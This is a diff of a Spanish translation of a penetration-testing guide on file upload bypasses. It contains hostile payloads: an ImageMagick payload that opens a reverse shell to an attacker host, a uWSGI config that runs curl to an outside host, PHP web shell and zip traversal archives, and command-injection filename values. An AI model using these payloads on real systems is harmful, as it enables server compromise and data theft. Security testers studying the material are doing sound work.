.php, ejecutará código): +- _ex: file.php.png_ +7. Uso de **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter dos puntos ":" después de una extensión prohibida y antes de una permitida. Como resultado, se creará en el servidor un **archivo vacío con la extensión prohibida** (p. ej. "file.asax:.jpg”). Este archivo podría ser editado más tarde usando otras técnicas como su short filename. El patrón "**::$data**” también puede usarse para crear archivos no vacíos. Por lo tanto, añadir un punto después de este patrón también puede ser útil para eludir restricciones adicionales (p. ej. "file.asp::$data.”) +8. Intenta romper los límites de nombre de archivo. La extensión válida se corta. Y el PHP malicioso queda. AAA<--SNIP-->AAA.php ``` -# Linux máximo 255 bytes +# Linux maximum 255 bytes /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 -Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aquí y agregando .png -# Sube el archivo y verifica la respuesta cuántos caracteres permite. Digamos 236 +Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png +# Upload the file and check response how many characters it alllows. Let's say 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -# Haz la carga +# Make the payload AAA<--SNIP 232 A-->AAA.php.png ``` -### Bypass de Content-Type, Magic Number, Compresión y Redimensionamiento +### Bypass Content-Type, Magic Number, Compression & Resizing -- Eludir las comprobaciones de **Content-Type** configurando el **valor** del **header** de **Content-Type** a: _image/png_, _text/plain_, application/octet-stream_ -1. Lista de palabras de Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- Eludir la comprobación de **magic number** agregando al principio del archivo los **bytes de una imagen real** (confundir el comando _file_). O introducir el shell dentro de los **metadatos**:\ +- Bypass **Content-Type** checks configurando el **valor** del **header** **Content-Type** a: _image/png_ , _text/plain , application/octet-stream_ +1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) +- Bypass **magic number** check añadiendo al principio del archivo los **bytes de una imagen real** (confundir el comando _file_). O introducir el shell dentro de los **metadata**:\ `exiftool -Comment="' >> img.png` -- Si **se está agregando compresión a tu imagen**, por ejemplo, usando algunas bibliotecas estándar de PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), las técnicas anteriores no serán útiles. Sin embargo, podrías usar el **chunk PLTE** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**. -- [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- La página web también podría estar **redimensionando** la **imagen**, usando por ejemplo las funciones de PHP-GD `imagecopyresized` o `imagecopyresampled`. Sin embargo, podrías usar el **chunk IDAT** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**. -- [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Otra técnica para hacer una carga que **sobreviva a un redimensionamiento de imagen**, usando la función de PHP-GD `thumbnailImage`. Sin embargo, podrías usar el **chunk tEXt** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**. -- [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) +- Si **se está aplicando compresión** a tu imagen, por ejemplo usando algunas librerías estándar de PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), las técnicas anteriores no serán útiles. Sin embargo, puedes usar el chunk PLTE [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) +- La página web también podría estar **redimensionando** la **imagen**, usando por ejemplo las funciones PHP-GD `imagecopyresized` o `imagecopyresampled`. Sin embargo, puedes usar el chunk IDAT [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) +- Otra técnica para crear un payload que **sobreviva a un redimensionado** de imagen, usando la función PHP-GD `thumbnailImage`. También puedes usar el chunk tEXt [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) -### Otros trucos a verificar +### Otros trucos a comprobar -- Encuentra una vulnerabilidad para **renombrar** el archivo ya subido (para cambiar la extensión). -- Encuentra una vulnerabilidad de **Inclusión de Archivos Locales** para ejecutar el backdoor. +- Encuentra una vulnerabilidad que permita **renombrar** el archivo ya subido (para cambiar la extensión). +- Encuentra una vulnerabilidad de **Local File Inclusion** para ejecutar el backdoor. - **Posible divulgación de información**: 1. Sube **varias veces** (y al **mismo tiempo**) el **mismo archivo** con el **mismo nombre** 2. Sube un archivo con el **nombre** de un **archivo** o **carpeta** que **ya existe** -3. Subiendo un archivo con **“.”, “..”, o “…” como su nombre**. Por ejemplo, en Apache en **Windows**, si la aplicación guarda los archivos subidos en el directorio “/www/uploads/”, el nombre de archivo “.” creará un archivo llamado “uploads” en el directorio “/www/”. -4. Sube un archivo que puede no ser eliminado fácilmente como **“…:.jpg”** en **NTFS**. (Windows) +3. Subir un archivo con **"." , "..", o "..." como nombre**. Por ejemplo, en Apache en **Windows**, si la aplicación guarda los archivos subidos en "/www/uploads/" directory, el filename "." creará un archivo llamado "uploads" en el directorio "/www/". +4. Sube un archivo que no pueda ser borrado fácilmente como **"…:.jpg”** en **NTFS**. (Windows) 5. Sube un archivo en **Windows** con **caracteres inválidos** como `|<>*?”` en su nombre. (Windows) -6. Sube un archivo en **Windows** usando **nombres reservados** (**prohibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, y LPT9. -- Intenta también **subir un ejecutable** (.exe) o un **.html** (menos sospechoso) que **ejecutará código** cuando sea accidentalmente abierto por la víctima. +6. Sube un archivo en **Windows** usando nombres reservados (**prohibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, y LPT9. +- Intenta también **subir un ejecutable** (.exe) o un **.html** (menos sospechoso) que **ejecute código** cuando sea abierto accidentalmente por la víctima. -### Trucos especiales de extensión +### Special extension tricks -Si estás intentando subir archivos a un **servidor PHP**, [echa un vistazo al truco de **.htaccess** para ejecutar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -Si estás intentando subir archivos a un **servidor ASP**, [echa un vistazo al truco de **.config** para ejecutar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +Si intentas subir archivos a un servidor **PHP**, [echa un vistazo al truco de **.htaccess** para ejecutar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +Si intentas subir archivos a un servidor **ASP**, [echa un vistazo al truco de **.config** para ejecutar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -Los archivos `.phar` son como los `.jar` para java, pero para php, y pueden ser **usados como un archivo php** (ejecutándolo con php, o incluyéndolo dentro de un script...) +Los archivos `.phar` son como los `.jar` para java, pero para php, y pueden **ser usados como un archivo php** (ejecutándolos con php, o incluyéndolos dentro de un script...) -La extensión `.inc` a veces se usa para archivos php que solo se utilizan para **importar archivos**, por lo que, en algún momento, alguien podría haber permitido **que esta extensión se ejecute**. +La extensión `.inc` a veces se usa para archivos php que solo sirven para **importar archivos**, por lo que, en algún punto, alguien podría haber permitido que **esta extensión se ejecute**. ## **Jetty RCE** -Si puedes subir un archivo XML en un servidor Jetty, puedes obtener [RCE porque **nuevos \*.xml y \*.war son procesados automáticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la siguiente imagen, sube el archivo XML a `$JETTY_BASE/webapps/` y ¡espera el shell! +Si puedes subir un archivo XML a un servidor Jetty puedes obtener RCE porque los nuevos \*.xml y \*.war son procesados automáticamente. So, as mentioned in the following image, sube el archivo XML a `$JETTY_BASE/webapps/` y espera el shell! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -Para una exploración detallada de esta vulnerabilidad, consulta la investigación original: [Explotación de RCE en uWSGI](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Las vulnerabilidades de Ejecución Remota de Comandos (RCE) pueden ser explotadas en servidores uWSGI si uno tiene la capacidad de modificar el archivo de configuración `.ini`. Los archivos de configuración de uWSGI aprovechan una sintaxis específica para incorporar variables "mágicas", marcadores de posición y operadores. Notablemente, el operador '@', utilizado como `@(filename)`, está diseñado para incluir el contenido de un archivo. Entre los diversos esquemas soportados en uWSGI, el esquema "exec" es particularmente potente, permitiendo la lectura de datos de la salida estándar de un proceso. Esta característica puede ser manipulada para fines nefastos como Ejecución Remota de Comandos o Escritura/lectura de Archivos Arbitrarios cuando se procesa un archivo de configuración `.ini`. +Las vulnerabilidades de Remote Command Execution (RCE) pueden explotarse en servidores uWSGI si se tiene la capacidad de modificar el archivo de configuración `.ini`. Los archivos de configuración de uWSGI utilizan una sintaxis específica para incorporar variables "mágicas", placeholders y operadores. Notablemente, el operador '@', utilizado como `@(filename)`, está diseñado para incluir el contenido de un archivo. Entre los diversos esquemas soportados en uWSGI, el esquema "exec" es particularmente potente, permitiendo leer datos desde la salida estándar de un proceso. Esta característica puede manipularse con fines maliciosos como Remote Command Execution o Arbitrary File Write/Read cuando se procesa un archivo de configuración `.ini`. -Considera el siguiente ejemplo de un archivo `uwsgi.ini` dañino, mostrando varios esquemas: +Considera el siguiente ejemplo de un archivo `uwsgi.ini` malicioso, mostrando varios schemes: ```ini [uwsgi] ; read from a symbol @@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -La ejecución de la carga útil ocurre durante el análisis del archivo de configuración. Para que la configuración se active y se analice, el proceso de uWSGI debe reiniciarse (potencialmente después de un fallo o debido a un ataque de Denegación de Servicio) o el archivo debe configurarse para recargarse automáticamente. La función de recarga automática, si está habilitada, recarga el archivo a intervalos especificados al detectar cambios. +La ejecución del payload ocurre durante el análisis del archivo de configuración. Para que la configuración se active y sea analizada, el proceso uWSGI debe reiniciarse (potencialmente después de un crash o debido a un ataque Denial of Service) o el archivo debe estar configurado para auto-reload. La característica auto-reload, si está habilitada, recarga el archivo a intervalos especificados al detectar cambios. -Es crucial entender la naturaleza laxa del análisis del archivo de configuración de uWSGI. Específicamente, la carga útil discutida puede insertarse en un archivo binario (como una imagen o PDF), ampliando aún más el alcance de la explotación potencial. +Es crucial entender la laxitud del análisis de los archivos de configuración de uWSGI. Específicamente, el payload mencionado puede insertarse en un archivo binario (como una imagen o PDF), ampliando así el alcance de la posible explotación. ## **wget File Upload/SSRF Trick** -En algunas ocasiones, puede encontrar que un servidor está utilizando **`wget`** para **descargar archivos** y puede **indicar** la **URL**. En estos casos, el código puede estar verificando que la extensión de los archivos descargados esté dentro de una lista blanca para asegurar que solo se descarguen archivos permitidos. Sin embargo, **esta verificación puede ser eludida.**\ -La **longitud máxima** de un **nombre de archivo** en **linux** es **255**, sin embargo, **wget** trunca los nombres de archivo a **236** caracteres. Puede **descargar un archivo llamado "A"\*232+".php"+".gif"**, este nombre de archivo **eludirá** la **verificación** (ya que en este ejemplo **".gif"** es una **extensión válida**) pero `wget` **renombrará** el archivo a **"A"\*232+".php"**. +En algunas ocasiones puede ocurrir que un servidor esté usando **`wget`** para **descargar archivos** y puedas **indicar** la **URL**. En esos casos, el código puede comprobar que la extensión de los archivos descargados esté dentro de una whitelist para asegurar que solo se van a descargar archivos permitidos. Sin embargo, **esta check puede ser bypassed.**\ +La **longitud máxima** de un **filename** en **linux** es **255**, sin embargo, **wget** trunca los nombres de archivo a **236** caracteres. Puedes **download a file called "A"\*232+".php"+".gif"**, este filename va a **bypass** la **comprobación** (como en este ejemplo **".gif"** es una extensión **válida**) pero `wget` va a **rename** el archivo a **"A"\*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -156,63 +156,68 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Tenga en cuenta que **otra opción** que puede estar pensando para eludir esta verificación es hacer que el **servidor HTTP redirija a un archivo diferente**, de modo que la URL inicial eluda la verificación y luego wget descargue el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se esté utilizando con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre del archivo indicado en la URL original**. +Ten en cuenta que **otra opción** que podrías estar pensando para evitar este chequeo es hacer que el **HTTP server redirija a un fichero diferente**, de modo que la URL inicial pasará el chequeo pero luego wget descargará el fichero redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se esté usando con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre del fichero indicado en la URL original**. -## Herramientas +## Tools -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) es una herramienta poderosa diseñada para ayudar a los Pentesters y Cazadores de Bugs a probar mecanismos de carga de archivos. Aprovecha varias técnicas de recompensas por errores para simplificar el proceso de identificación y explotación de vulnerabilidades, asegurando evaluaciones exhaustivas de aplicaciones web. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) es una herramienta poderosa diseñada para asistir a Pentesters y Bug Hunters en la prueba de mecanismos de file upload. Aprovecha varias técnicas de bug bounty para simplificar el proceso de identificación y explotación de vulnerabilidades, asegurando evaluaciones exhaustivas de aplicaciones web. -## De la carga de archivos a otras vulnerabilidades +### Corrupting upload indices with snprintf quirks (historical) -- Establezca **filename** en `../../../tmp/lol.png` y trate de lograr un **path traversal** -- Establezca **filename** en `sleep(10)-- -.jpg` y puede que logre una **inyección SQL** -- Establezca **filename** en `` para lograr un XSS -- Establezca **filename** en `; sleep 10;` para probar alguna inyección de comandos (más [trucos de inyección de comandos aquí](../command-injection.md)) -- [**XSS** en la carga de archivos de imagen (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) -- **Carga** de archivos **JS** + **XSS** = [explotación de **Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) -- [**XXE en la carga de svg**](../xxe-xee-xml-external-entity.md#svg-file-upload) -- [**Redirección abierta** a través de la carga de archivos svg](../open-redirect.md#open-redirect-uploading-svg-files) -- Pruebe **diferentes cargas útiles svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) -- [Famosa vulnerabilidad **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- Si puede **indicar al servidor web que capture una imagen de una URL**, podría intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/index.html). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podría indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**. -- [**XXE y CORS** eludir con carga de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md) -- PDFs especialmente diseñados para XSS: La [siguiente página presenta cómo **inyectar datos PDF para obtener ejecución de JS**](../xss-cross-site-scripting/pdf-injection.md). Si puede cargar PDFs, podría preparar un PDF que ejecute JS arbitrario siguiendo las indicaciones dadas. -- Cargue el contenido \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para verificar si el servidor tiene algún **antivirus** -- Verifique si hay algún **límite de tamaño** al cargar archivos +Algunos handlers de upload legados que usan `snprintf()` o similares para construir arrays de multi-file a partir de una single-file upload pueden ser engañados para forjar la estructura `_FILES`. Debido a inconsistencias y truncamiento en el comportamiento de `snprintf()`, una single upload cuidadosamente construida puede parecer múltiples ficheros indexados en el lado del servidor, confundiendo la lógica que asume una forma estricta (p. ej., tratándola como una multi-file upload y tomando ramas inseguras). Aunque hoy en día es algo niche, este patrón de “index corruption” reaparece ocasionalmente en CTFs y bases de código antiguas. -Aquí hay una lista de las 10 principales cosas que puede lograr al cargar (de [aquí](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +## From File upload to other vulnerabilities + +- Establece **filename** en `../../../tmp/lol.png` e intenta lograr un **path traversal** +- Establece **filename** en `sleep(10)-- -.jpg` y puede que consigas una **SQL injection** +- Establece **filename** en `` para lograr un **XSS** +- Establece **filename** en `; sleep 10;` para probar alguna command injection (más [command injections tricks here](../command-injection.md)) +- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) +- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) +- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) +- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) +- Prueba **different svg payloads** desde [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) +- Si puedes **indicar al web server que obtenga una imagen desde una URL** podrías intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/index.html). Si esa **imagen** va a ser **guardada** en algún sitio **público**, también podrías indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**. +- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) +- PDFs especialmente creados para XSS: La [siguiente página muestra cómo **inyectar datos en un PDF para obtener ejecución de JS**](../xss-cross-site-scripting/pdf-injection.md). Si puedes subir PDFs podrías preparar algún PDF que ejecute JS arbitrario siguiendo las indicaciones dadas. +- Sube el contenido de \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para comprobar si el servidor tiene algún **antivirus** +- Comprueba si existe algún **size limit** al subir archivos + +Aquí tienes una lista top 10 de cosas que puedes lograr subiendo ficheros (desde [aquí](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE -2. **SVG**: XSS almacenado / SSRF / XXE -3. **GIF**: XSS almacenado / SSRF -4. **CSV**: inyección CSV +2. **SVG**: Stored XSS / SSRF / XXE +3. **GIF**: Stored XSS / SSRF +4. **CSV**: CSV injection 5. **XML**: XXE 6. **AVI**: LFI / SSRF -7. **HTML / JS** : inyección HTML / XSS / redirección abierta -8. **PNG / JPEG**: ataque de inundación de píxeles (DoS) -9. **ZIP**: RCE a través de LFI / DoS -10. **PDF / PPTX**: SSRF / XXE CIEGO +7. **HTML / JS** : HTML injection / XSS / Open redirect +8. **PNG / JPEG**: Pixel flood attack (DoS) +9. **ZIP**: RCE via LFI / DoS +10. **PDF / PPTX**: SSRF / BLIND XXE + +#### Burp Extension -#### Extensión de Burp {{#ref}} https://github.com/portswigger/upload-scanner {{#endref}} -## Bytes de encabezado mágicos +## Magic Header Bytes - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` - **JPG**: `"\xff\xd8\xff"` -Consulte [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) para otros tipos de archivos. +Consulta [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) para otros tipos de fichero. -## Carga de archivos Zip/Tar descomprimidos automáticamente +## Zip/Tar File Automatically decompressed Upload -Si puede cargar un ZIP que se va a descomprimir dentro del servidor, puede hacer 2 cosas: +Si puedes subir un ZIP que vaya a ser descomprimido dentro del servidor, puedes hacer 2 cosas: ### Symlink -Cargue un enlace que contenga enlaces suaves a otros archivos, luego, al acceder a los archivos descomprimidos, accederá a los archivos vinculados: +Sube un link que contenga soft links a otros ficheros, entonces, accediendo a los ficheros descomprimidos accederás a los ficheros enlazados: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt @@ -220,16 +225,16 @@ tar -cvf test.tar symindex.txt ``` ### Descomprimir en diferentes carpetas -La creación inesperada de archivos en directorios durante la descompresión es un problema significativo. A pesar de las suposiciones iniciales de que esta configuración podría proteger contra la ejecución de comandos a nivel de sistema operativo a través de cargas de archivos maliciosos, el soporte de compresión jerárquica y las capacidades de recorrido de directorios del formato de archivo ZIP pueden ser explotados. Esto permite a los atacantes eludir restricciones y escapar de directorios de carga seguros manipulando la funcionalidad de descompresión de la aplicación objetivo. +La creación inesperada de archivos en directorios durante la descompresión es un problema significativo. A pesar de las suposiciones iniciales de que esta configuración podría proteger contra la ejecución de comandos OS-level mediante subidas de archivos maliciosos, el soporte de compresión jerárquica y las capacidades de directory traversal del formato de archivo ZIP pueden ser explotadas. Esto permite a los atacantes eludir las restricciones y escapar de los secure upload directories manipulando la funcionalidad de descompresión de la aplicación objetivo. -Un exploit automatizado para crear tales archivos está disponible en [**evilarc en GitHub**](https://github.com/ptoomey3/evilarc). La utilidad se puede usar como se muestra: +Un exploit automatizado para crear tales archivos está disponible en [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). La utilidad se puede usar como se muestra: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -Además, el **truco de symlink con evilarc** es una opción. Si el objetivo es apuntar a un archivo como `/flag.txt`, se debe crear un symlink a ese archivo en su sistema. Esto asegura que evilarc no encuentre errores durante su operación. +Además, la **symlink trick with evilarc** es una opción. Si el objetivo es apuntar a un archivo como `/flag.txt`, se debe crear un symlink a ese archivo en tu sistema. Esto garantiza que evilarc no encuentre errores durante su funcionamiento. A continuación se muestra un ejemplo de código Python utilizado para crear un archivo zip malicioso: ```python @@ -249,11 +254,11 @@ zip.close() create_zip() ``` -**Abusando de la compresión para el file spraying** +**Abusar de la compresión para file spraying** -Para más detalles **consulta la publicación original en**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +Para más detalles **consulta la entrada original en**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Creando un Shell PHP**: Se escribe código PHP para ejecutar comandos pasados a través de la variable `$_REQUEST`. +1. **Creating a PHP Shell**: Se escribe código PHP para ejecutar comandos enviados a través de la variable `$_REQUEST`. ```php ``` -2. **File Spraying y Creación de Archivos Comprimidos**: Se crean múltiples archivos y se ensambla un archivo zip que contiene estos archivos. +2. **File Spraying and Compressed File Creation**: Se crean múltiples archivos y se genera un archivo zip que los contiene. ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Modificación con un Editor Hexadecimal o vi**: Los nombres de los archivos dentro del zip se alteran usando vi o un editor hexadecimal, cambiando "xxA" a "../" para atravesar directorios. +3. **Modification with a Hex Editor or vi**: Los nombres de los archivos dentro del zip se modifican usando vi o un editor hexadecimal, cambiando "xxA" a "../" para atravesar directorios. ```bash :set modifiable @@ -280,40 +285,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php ## ImageTragic -Sube este contenido con una extensión de imagen para explotar la vulnerabilidad **(ImageMagick , 7.0.1-1)** (forma del [exploit](https://www.exploit-db.com/exploits/39767)) +Sube este contenido con una extensión de imagen para explotar la vulnerabilidad **(ImageMagick , 7.0.1-1)** (form the [exploit](https://www.exploit-db.com/exploits/39767)) ``` push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context ``` -## Incrustar Shell PHP en PNG +## Embedding PHP Shell on PNG -Incrustar un shell PHP en el chunk IDAT de un archivo PNG puede eludir efectivamente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` e `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que se utilizan comúnmente para redimensionar y re-muestrear imágenes, respectivamente. La capacidad del shell PHP incrustado para permanecer inalterado por estas operaciones es una ventaja significativa para ciertos casos de uso. +Embedding a PHP shell in the IDAT chunk of a PNG file can effectively bypass certain image processing operations. The functions `imagecopyresized` and `imagecopyresampled` from PHP-GD are particularly relevant in this context, as they are commonly used for resizing and resampling images, respectively. The ability of the embedded PHP shell to remain unaffected by these operations is a significant advantage for certain use cases. -Una exploración detallada de esta técnica, incluyendo su metodología y aplicaciones potenciales, se proporciona en el siguiente artículo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso ofrece una comprensión completa del proceso y sus implicaciones. +A detailed exploration of this technique, including its methodology and potential applications, is provided in the following article: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). This resource offers a comprehensive understanding of the process and its implications. -Más información en: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) +More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) -## Archivos Políglota +## Polyglot Files -Los archivos políglota sirven como una herramienta única en ciberseguridad, actuando como camaleones que pueden existir válidamente en múltiples formatos de archivo simultáneamente. Un ejemplo intrigante es un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un híbrido que funciona tanto como un GIF como un archivo RAR. Tales archivos no se limitan a esta combinación; combinaciones como GIF y JS o PPT y JS también son factibles. +Polyglot files serve as a unique tool in cybersecurity, acting as chameleons that can validly exist in multiple file formats simultaneously. An intriguing example is a [GIFAR](https://en.wikipedia.org/wiki/Gifar), a hybrid that functions both as a GIF and a RAR archive. Such files aren't limited to this pairing; combinations like GIF and JS or PPT and JS are also feasible. -La utilidad principal de los archivos políglota radica en su capacidad para eludir medidas de seguridad que filtran archivos según su tipo. La práctica común en varias aplicaciones implica permitir solo ciertos tipos de archivos para subir—como JPEG, GIF o DOC—para mitigar el riesgo que presentan formatos potencialmente dañinos (por ejemplo, archivos JS, PHP o Phar). Sin embargo, un políglota, al conformarse a los criterios estructurales de múltiples tipos de archivos, puede eludir sigilosamente estas restricciones. +The core utility of polyglot files lies in their capacity to circumvent security measures that screen files based on type. 